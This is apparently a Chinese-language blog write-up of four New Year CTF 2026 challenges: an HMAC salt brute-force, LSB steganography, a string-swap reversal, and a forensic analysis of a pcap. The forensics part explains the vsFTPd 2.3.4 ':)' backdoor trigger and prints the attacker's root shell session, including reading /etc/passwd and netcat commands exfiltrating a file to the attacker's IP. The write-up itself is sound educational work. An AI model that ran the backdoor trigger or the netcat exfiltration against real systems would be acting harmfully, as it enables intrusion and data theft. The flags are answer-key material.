New Year CTF 2026

New Year CTF 2026

Aristore
  2026-01-12 2026-01-12      3.8k 字  22 分钟  

Beginner

babyCrypto

Challenge

We have many messages with short MAC-signatures. Recover the salt and find the flag.

dataset.json

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{
  "dataset": [
    {
      "message": "note_0:1d7b4557164378a4",
      "mac": "ceaedcf7"
    },
    {
      "message": "note_1:b1b33844da973317",
      "mac": "9a97016b"
    },
    {
      "message": "note_2:191eba3b56ed0839",
      "mac": "6d590b3a"
    },
    {
      "message": "note_3:9dce046ed38aca0e",
      "mac": "308a46cc"
    },
    {
      "message": "note_4:ee65ecd56ddc9552",
      "mac": "82def9df"
    },
    {
      "message": "note_5:7fe23fa92ff2e6ac",
      "mac": "cee74da2"
    },
    {
      "message": "note_6:b2bd5ce4f481f0eb",
      "mac": "f3f7845a"
    },
    {
      "message": "note_7:09532a0958de2d6a",
      "mac": "2b8c44e4"
    },
    {
      "message": "note_8:d43189805adbd249",
      "mac": "2c573a8c"
    },
    {
      "message": "note_9:9f79625391e648e3",
      "mac": "a033fefa"
    },
    {
      "message": "note_10:0380a9f5a3c8d435",
      "mac": "02738a8c"
    },
    {
      "message": "note_11:68942dd225be6735",
      "mac": "7ba92bde"
    },
    {
      "message": "note_12:4225bab8a94e98e9",
      "mac": "0c835ad3"
    },
    {
      "message": "note_13:89f6c2998057396a",
      "mac": "7d871b89"
    },
    {
      "message": "note_14:c70331941cdda465",
      "mac": "210453dc"
    },
    {
      "message": "note_15:cd6ed64b89bdb29a",
      "mac": "74e82a4a"
    },
    {
      "message": "note_16:0c7f14543baa22c5",
      "mac": "05a85001"
    },
    {
      "message": "note_17:ba9880eaa7d57c09",
      "mac": "ca55ec66"
    },
    {
      "message": "note_18:0ea7d5be4f64106b",
      "mac": "41cb0f4c"
    },
    {
      "message": "note_19:cc41d7110185aa49",
      "mac": "3f9a3a75"
    },
    {
      "message": "note_20:5d977fb8fc75d707",
      "mac": "05510938"
    },
    {
      "message": "note_21:9df10e67b2f00a25",
      "mac": "cdbf4714"
    },
    {
      "message": "note_22:8d18f45224b44af7",
      "mac": "6c3a537d"
    },
    {
      "message": "note_23:9bf61bf27204f949",
      "mac": "3433ef45"
    },
    {
      "message": "note_24:cfd8eefc41cf1fd2",
      "mac": "037f7b4c"
    },
    {
      "message": "note_25:05b162041e5cc7a9",
      "mac": "d856529c"
    },
    {
      "message": "note_26:b046a2c33344bb90",
      "mac": "fba01062"
    },
    {
      "message": "note_27:050bcaaf4ee6eda0",
      "mac": "6cd7fad6"
    },
    {
      "message": "note_28:55e289a889473d42",
      "mac": "d5b42f87"
    },
    {
      "message": "note_29:495ef10672ed6efa",
      "mac": "1f052baf"
    },
    {
      "message": "note_30:f5660ae8f933f9ce",
      "mac": "d41e325d"
    },
    {
      "message": "note_31:60d2b4c615dfbe4b",
      "mac": "0c4335f0"
    },
    {
      "message": "note_32:b3d19d55a06c5258",
      "mac": "c3906c57"
    },
    {
      "message": "note_33:6d2b63ad24b783c5",
      "mac": "85397f0f"
    },
    {
      "message": "note_34:9766204c3f1fcfd7",
      "mac": "1ac91f03"
    },
    {
      "message": "note_35:682f35ae79319f37",
      "mac": "17b9b679"
    },
    {
      "message": "note_36:63e4f5f01e298d44",
      "mac": "6996c10e"
    },
    {
      "message": "note_37:9e002726d4b21523",
      "mac": "ee20a631"
    },
    {
      "message": "note_38:26d1104e57375dfb",
      "mac": "2ef357c7"
    },
    {
      "message": "note_39:d0a0dd12c1f35da5",
      "mac": "760e74fd"
    },
    {
      "message": "note_40:88aa6d67519a1574",
      "mac": "215b19f7"
    },
    {
      "message": "note_41:cb2396ce6273f0a4",
      "mac": "20cf3b30"
    },
    {
      "message": "note_42:7024d4aead068595",
      "mac": "a61248e9"
    },
    {
      "message": "note_43:358638f04323ed6e",
      "mac": "d219fe93"
    },
    {
      "message": "note_44:9c9888eb842ef005",
      "mac": "ba2e52a6"
    },
    {
      "message": "note_45:f8ad132288aea161",
      "mac": "a5af9fae"
    },
    {
      "message": "note_46:6ba3290aa6064e6e",
      "mac": "936991bf"
    },
    {
      "message": "note_47:73a9adc4fa778cfb",
      "mac": "7237a8ac"
    },
    {
      "message": "note_48:ee99342974fdda0b",
      "mac": "570db1d4"
    },
    {
      "message": "note_49:443e25093dd0994e",
      "mac": "7b5241bd"
    },
    {
      "message": "note_50:781e62b034dcd73d",
      "mac": "2a9e2afa"
    },
    {
      "message": "note_51:9abbcba1b314d7a9",
      "mac": "cb3e058e"
    },
    {
      "message": "note_52:a9c4becad803f232",
      "mac": "88d71216"
    },
    {
      "message": "note_53:79c3546a0c1a8139",
      "mac": "1dd998fe"
    },
    {
      "message": "note_54:b797de4b4031e7a3",
      "mac": "e8032553"
    },
    {
      "message": "note_55:0c52733c0e4bc2cc",
      "mac": "70afa56a"
    },
    {
      "message": "note_56:b049a04d16696efe",
      "mac": "6e529105"
    },
    {
      "message": "note_57:2b67cd51a2b6ecaf",
      "mac": "ff735925"
    },
    {
      "message": "note_58:06d8d583e15c288d",
      "mac": "ddecb772"
    },
    {
      "message": "note_59:8485df1939931020",
      "mac": "89b1f951"
    },
    {
      "message": "note_60:0824108ebd0bdb76",
      "mac": "94f1905e"
    },
    {
      "message": "note_61:86beabcfb4f53f5d",
      "mac": "b94ffff2"
    },
    {
      "message": "note_62:05cca6d67b6046d0",
      "mac": "f6127740"
    },
    {
      "message": "note_63:c56a2be597052062",
      "mac": "5002bbcd"
    },
    {
      "message": "note_64:4da73912607b1504",
      "mac": "3a24863e"
    },
    {
      "message": "note_65:291ca654af8f623c",
      "mac": "c712d5da"
    },
    {
      "message": "note_66:01321a090a9ad9b0",
      "mac": "932ae9c2"
    },
    {
      "message": "note_67:c017caf79c36e403",
      "mac": "39112d6d"
    },
    {
      "message": "note_68:71dc47c1d8d24d03",
      "mac": "f8e3f6a2"
    },
    {
      "message": "note_69:a0aa67344d8c1fea",
      "mac": "e9fae796"
    },
    {
      "message": "note_70:b382459c0d00e569",
      "mac": "e13ab170"
    },
    {
      "message": "note_71:8977b352c75acbf4",
      "mac": "b36861b8"
    },
    {
      "message": "note_72:79fb02444ba34494",
      "mac": "ced5ebe1"
    },
    {
      "message": "note_73:18c810cf6fcbaf46",
      "mac": "14cb6a40"
    },
    {
      "message": "note_74:0a112da897650e5c",
      "mac": "63245c02"
    },
    {
      "message": "note_75:adb296eea83fe2a7",
      "mac": "b0505750"
    },
    {
      "message": "note_76:a7d2652c90198393",
      "mac": "35f0ace2"
    },
    {
      "message": "note_77:fd043e94cc108748",
      "mac": "006230f9"
    },
    {
      "message": "note_78:bdad95776fb67c56",
      "mac": "c8cc3c20"
    },
    {
      "message": "note_79:256d9f5ca3d25b16",
      "mac": "f2c58c72"
    },
    {
      "message": "note_80:b3bb32ef2927ae37",
      "mac": "12457c91"
    },
    {
      "message": "note_81:9676c3ec36227b71",
      "mac": "39843690"
    },
    {
      "message": "note_82:4bdb5ef3f0ac0f02",
      "mac": "5f2a1130"
    },
    {
      "message": "note_83:2285d23d9b3e1a38",
      "mac": "b07c2be9"
    },
    {
      "message": "note_84:2e6660b878c01dd5",
      "mac": "a3fce998"
    },
    {
      "message": "note_85:b5455651c496d4b0",
      "mac": "8fe3d1a3"
    },
    {
      "message": "note_86:35483bf25d56920c",
      "mac": "5c1799d5"
    },
    {
      "message": "note_87:93d2895cda2d9e9b",
      "mac": "892628b3"
    },
    {
      "message": "note_88:406ff2e6edf27e88",
      "mac": "58bf6ca9"
    },
    {
      "message": "note_89:e0c757c390d76555",
      "mac": "1751a6ac"
    },
    {
      "message": "note_90:101be3572b7eaab9",
      "mac": "d1ad4c8e"
    },
    {
      "message": "note_91:d7b82d62a3052caa",
      "mac": "b88bc0da"
    },
    {
      "message": "note_92:822f7d3ab54f340b",
      "mac": "7c1665ca"
    },
    {
      "message": "note_93:5740f0ff34b2658f",
      "mac": "ac98d45c"
    },
    {
      "message": "note_94:88f89a4395bbcd90",
      "mac": "557ba555"
    },
    {
      "message": "note_95:7b183f99fb8ab6e8",
      "mac": "92aa945c"
    },
    {
      "message": "note_96:c7d4637b4fb4b1b5",
      "mac": "650090e6"
    },
    {
      "message": "note_97:ae51c1eff161fb27",
      "mac": "2b71a9ff"
    },
    {
      "message": "note_98:b29cd82788ad7afe",
      "mac": "1563a51a"
    },
    {
      "message": "note_99:5d3364af29b110a1",
      "mac": "3d7657e5"
    },
    {
      "message": "note_100:c4d9e2927c790e24",
      "mac": "7e533809"
    },
    {
      "message": "note_101:d5d552d564a10d35",
      "mac": "4bc69eec"
    },
    {
      "message": "note_102:acaaf9c2c2051935",
      "mac": "67aaffa7"
    },
    {
      "message": "note_103:ef1e3d54462658e0",
      "mac": "44110232"
    },
    {
      "message": "note_104:aaa237516a654247",
      "mac": "43e59553"
    },
    {
      "message": "note_105:ea3d23a4e0f66175",
      "mac": "fe7763b2"
    },
    {
      "message": "note_106:16b23eab6971664b",
      "mac": "bd35f0ed"
    },
    {
      "message": "note_107:6b973c9ab6e39167",
      "mac": "4d7c9a63"
    },
    {
      "message": "note_108:0b17a76cf2d390fe",
      "mac": "9f7e260c"
    },
    {
      "message": "note_109:ac8a7cdaaddd31e7",
      "mac": "b58f8298"
    },
    {
      "message": "note_110:1f0762a4cf023a75",
      "mac": "f21eff98"
    },
    {
      "message": "note_111:91f167c298d14a00",
      "mac": "1d09295c"
    },
    {
      "message": "note_112:24e5b6146adf1097",
      "mac": "27be4560"
    },
    {
      "message": "note_113:8249c7cba0b2123a",
      "mac": "b9243d25"
    },
    {
      "message": "note_114:c932fdcaf5c1802d",
      "mac": "5d1aeb27"
    },
    {
      "message": "note_115:68608bb4d327de29",
      "mac": "8064f355"
    },
    {
      "message": "note_116:08d268cd38aba2e5",
      "mac": "b8c8a48e"
    },
    {
      "message": "note_117:51c91453c07b95bc",
      "mac": "639f8985"
    },
    {
      "message": "note_118:dfda0447c108cb42",
      "mac": "bff82db9"
    },
    {
      "message": "note_119:7475214f4a0c4551",
      "mac": "f135d1d8"
    },
    {
      "message": "note_120:9fde8f17c40425cc",
      "mac": "777d9b50"
    },
    {
      "message": "note_121:61e0f740e611c9f2",
      "mac": "0d11ba73"
    },
    {
      "message": "note_122:44de2de1e305984d",
      "mac": "ac6a4628"
    },
    {
      "message": "note_123:ad6cd06a79bdff25",
      "mac": "0cb5c160"
    },
    {
      "message": "note_124:73650022a43b2203",
      "mac": "831c7b4a"
    },
    {
      "message": "note_125:6e17cc21165e07c2",
      "mac": "06fb10b5"
    },
    {
      "message": "note_126:f987bbd4cede87b8",
      "mac": "5e0d9b3b"
    },
    {
      "message": "note_127:c77053d483fa3dfb",
      "mac": "cc8ab886"
    }
  ],
  "flag_enc": "641ca46700a47839aa6f1aae7131bb761a947a01be7131b86202bf5c0fbc621794540fa7770bb97e",
  "params": {
    "hmac": "HMAC-SHA256",
    "trunc_bytes": 4,
    "salt_len_bytes": 3,
    "note": "salt is secret and same for all messages; flag_enc is XOR(flag, salt repeated)"
  }
}

Solution

我们有：

  • 128 条数据，每条是 "note_i:xxxxxxxxxxxxxxxx" 这样的消息（16 个十六进制字符，表示 8 字节数据），以及对应的 MAC 值（4 字节十六进制，即 trunc_bytes: 4）。
  • 使用 HMAC-SHA256，只取输出前 4 字节作为 MAC。
  • salt_len_bytes = 3，盐是 3 字节（24 位），对所有消息是相同的、秘密的。
  • 最后有一个 flag_enc，是 flag 与 salt 重复异或得到的。

因此我们要先恢复 salt，然后解密 flag_enc。

已知：
MAC = Truncate(HMAC-SHA256(salt, message), 4字节)。

每个消息的 MAC 只有 4 字节（32 位），所以理论上如果我们可以枚举所有可能的 salt（3 字节 = 24 位），就可以检查它能否产生所有 128 条消息的对应 MAC，从而确定正确的 salt。

暴力枚举范围：( $$2^{24} = 16,777,216$$ ) 种可能，对每个 salt 计算 128 次 HMAC 并截断比较，计算量大约 ( $$2^{24} \times 128 \approx 2^{31}$$) 次 HMAC，在合理时间内可以用单机完成。

解题步骤：

  1. 读取所有 (message, mac) 对。
  2. 枚举所有可能的 3 字节 salt（0 到 0xFFFFFF）。
  3. 对每个 salt，计算所有消息的 HMAC-SHA256，取前 4 字节与给定的 MAC 比较。
  4. 如果所有 128 个 MAC 都匹配，该 salt 即为正确。
  5. 用此 salt 作为重复密钥，与 flag_enc 异或得到 flag。
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import hashlib
import hmac
import json

# 给定数据
data = {
  "dataset": [
    {"message": "note_0:1d7b4557164378a4", "mac": "ceaedcf7"},
    # ...
    {"message": "note_127:c77053d483fa3dfb", "mac": "cc8ab886"}
  ],
  "flag_enc": "641ca46700a47839aa6f1aae7131bb761a947a01be7131b86202bf5c0fbc621794540fa7770bb97e",
  "params": {
    "hmac": "HMAC-SHA256",
    "trunc_bytes": 4,
    "salt_len_bytes": 3,
    "note": "salt is secret and same for all messages; flag_enc is XOR(flag, salt repeated)"
  }
}

dataset = data['dataset']
flag_enc_hex = data['flag_enc']

# 先转换 mac 为 bytes 便于比较
macs = []
messages = []
for entry in dataset:
    messages.append(entry['message'].encode())
    macs.append(bytes.fromhex(entry['mac']))

flag_enc = bytes.fromhex(flag_enc_hex)

# 暴力破解 salt
def find_salt():
    for salt_int in range(0x1000000):  # 0 ~ 0xFFFFFF
        salt = salt_int.to_bytes(3, 'big')
        ok = True
        for msg, target_mac in zip(messages, macs):
            h = hmac.new(salt, msg, hashlib.sha256).digest()
            if h[:4] != target_mac:
                ok = False
                break
        if ok:
            return salt
    return None

salt = find_salt()
print("Found salt:", salt.hex())

# 解密 flag
def xor_bytes(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

# salt 重复到与 flag_enc 相同长度
salt_repeated = (salt * (len(flag_enc) // 3 + 1))[:len(flag_enc)]
flag = xor_bytes(flag_enc, salt_repeated)
print(flag.decode('utf-8', errors='ignore'))

FLAG

1
grodno{Walter_put_your_salt_away_Walter}

babyStegano

Challenge

There are snowflakes on the window, but I think there is something behind them.

Solution

LAB 隐写

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imagedata           .. text: "/34XYYCIK"
b1,r,msb,xy         .. text: "\tr&xp2VD"
b1,b,lsb,xy         .. text: "grodno{happy_new_year_ctfers}"
b1,rgb,msb,xy       .. text: "&dT;qb'q\""
b2,r,msb,xy         .. text: "T<\n%PI)4"
b2,g,msb,xy         .. text: "W<\n%PI)4"
b2,b,msb,xy         .. text: "\n\\\nj]JYU<\n%PI)4["
b4,b,lsb,xy         .. text: "#5FfeUDDE"

FLAG

1
grodno{happy_new_year_ctfers}

babyReverse

Challenge

Let’s start with a warm-up:
ro1dnEoSeT{Sth_rgA_01r!G4trnvF#lm_L)#@#(m#}

Solution

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// main
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+14h] [rbp-9Ch]
  char dest[136]; // [rsp+20h] [rbp-90h] BYREF
  unsigned __int64 v6; // [rsp+A8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  if ( argc > 1 )
  {
    if ( strlen(argv[1]) > 0x80 )
    {
      puts("String is too long");
      return 1;
    }
    else
    {
      strncpy(dest, argv[1], 0x80u);
      dest[128] = 0;
      for ( i = 10; i > 1; --i )
        swaper(dest, (unsigned int)i);
      puts(dest);
      return 0;
    }
  }
  else
  {
    puts("Give me a string");
    return 1;
  }
}

主函数的核心逻辑是循环调用 swaper 函数10次

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// swaper
__int64 __fastcall swaper(char *dest, int i)
{
  __int64 i_1; // rax
  char v3; // [rsp+13h] [rbp-Dh]
  int j; // [rsp+14h] [rbp-Ch]
  size_t v5; // [rsp+18h] [rbp-8h]

  v5 = strlen(dest);
  for ( j = 0; ; j += i )
  {
    i_1 = i;
    if ( j >= v5 - i )
      break;
    v3 = dest[j];
    dest[j] = dest[j - 1 + i];
    dest[j - 1 + i] = v3;
  }
  return i_1;
}

swaper 函数的作用是交换

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def swaper(dest, i):
    dest = list(dest)
    length = len(dest)
    for j in range(0, length-i+1, i):
        dest[j], dest[j+i-1] = dest[j+i-1], dest[j]
    return ''.join(dest)

def decode(encoded_str):
    dest = encoded_str
    for i in range(2, 11):
        dest = swaper(dest, i)
    return dest

print(decode("ro1dnEoSeT{Sth_rgA_01r!G4trnvF#lm_L)#@#(m#}"))

FLAG

1
grodno{StArT_Ever1th1nG_Fr0m_Sm4lL#!##@(#)}

Forensics

exFill

Challenge

Sniffers on the network can sometimes tell a lot

Solution

攻击者（192.168.56.102）成功利用了目标机（192.168.56.103）上的 vsFTPd 2.3.4 后门漏洞 (CVE-2011-2523) 并获得了 Root Shell

  • ARP 扫描 (1-174包): 攻击者通过 ARP 请求遍历扫描 192.168.56.0/24 网段，确认了目标 .103 的存在。

  • Nmap 诱饵扫描 (780包起): 攻击者使用了 Nmap 的诱饵扫描（Decoy Scan），伪造了大量源 IP（如 30.73.154.1 等）来掩盖真实扫描行为。

  • 服务版本识别 (1864包): 攻击者识别出 21 端口运行的服务版本为 vsFTPd 2.3.4。

  • 关键数据包 (3739包): Request: USER 3FVka:) 触发 vsFTPd 2.3.4 后门的特征是在用户名后面加上 :)。

  • 后门开启 (3750包起):
    在发送完带 :) 的用户名后，目标主机的 6200 端口 会自动开启一个监听 Shell。
    流量显示攻击者立即发起了对 192.168.56.103:6200 的 TCP 连接：
    42737 → 6200 [SYN] ... [SYN, ACK]

  • 交互过程 (3753包以后): 攻击者在 6200 端口进行了数据交换，这些是攻击者在 shell 中执行的命令及其回显。

NewYearCTF2026-1

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id

uid=0(root) gid=0(root)

nohup  >/dev/null 2>&1
echo edVwOOk1tE5Jlh2Z

edVwOOk1tE5Jlh2Z

echo GlJcbCAdmgnORA7Cq

GlJcbCAdmgnORA7Cq


id

uid=0(root) gid=0(root)

pwd

/

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false

ls /home/msfadmin

capture.pcap
f1ag.jpg
vulnerable

cd /home/msfadmin
ls -la

total 520
drwxr-xr-x 5 msfadmin msfadmin   4096 Jan  6 10:34 .
drwxr-xr-x 6 root     root       4096 Apr 16  2010 ..
lrwxrwxrwx 1 root     root          9 May 13  2012 .bash_history -> /dev/null
drwxr-xr-x 4 msfadmin msfadmin   4096 Apr 17  2010 .distcc
-rw------- 1 root     root       4174 May 14  2012 .mysql_history
-rw------- 1 msfadmin msfadmin      9 Jan  6 09:45 .nano_history
-rw-r--r-- 1 msfadmin msfadmin    586 Mar 16  2010 .profile
-rwx------ 1 msfadmin msfadmin      4 May 20  2012 .rhosts
drwx------ 2 msfadmin msfadmin   4096 May 17  2010 .ssh
-rw-r--r-- 1 msfadmin msfadmin      0 May  7  2010 .sudo_as_admin_successful
-rw-r--r-- 1 root     root     438272 Jan  6 10:39 capture.pcap
-rw-r--r-- 1 msfadmin msfadmin  46852 Jan  6 09:45 f1ag.jpg
drwxr-xr-x 6 msfadmin msfadmin   4096 Apr 27  2010 vulnerable

sha256sum f1ag.jpg

af811f3e2f6191bed1e625edc18e3ac37e1e165e0fdcbab4cfb9c301bbb5211f  f1ag.jpg

base64 f1ag.jpg | nc 192.168.56.102 4444
ls

capture.pcap
f1ag.jpg
vulnerable

base64 f1ag.jpg > tmp.file
ls -l

total 632
-rw-r--r-- 1 root     root     520192 Jan  6 10:43 capture.pcap
-rw-r--r-- 1 msfadmin msfadmin  46852 Jan  6 09:45 f1ag.jpg
-rw------- 1 root     root      63294 Jan  6 10:43 tmp.file
drwxr-xr-x 6 msfadmin msfadmin   4096 Apr 27  2010 vulnerable

nc 192.168.56.102 < tmp.file

no port[s] to connect to

nc 192.168.56.102 4444 < tmp.file
rm tmp.file
echo 'U 4re hacked =D' > readme.txt
exit

筛选 tcp.port == 4444，第一条结果追踪流

NewYearCTF2026-2

解码得到图片的文件尾存在隐写

NewYearCTF2026-3

FLAG

1
grodno{it5_was_t00_s1mple_=D}
  • 标题: New Year CTF 2026
  • 作者: Aristore
  • 链接: https://www.aristore.top/posts/NewYearCTF2026/
  • 版权声明: 版权所有 © Aristore，禁止转载。
评论
目录
New Year CTF 2026
  1. Beginner
    1. babyCrypto
      1. Challenge
      2. Solution
      3. FLAG
    2. babyStegano
      1. Challenge
      2. Solution
      3. FLAG
    3. babyReverse
      1. Challenge
      2. Solution
      3. FLAG
  2. Forensics
    1. exFill
      1. Challenge
      2. Solution
      3. FLAG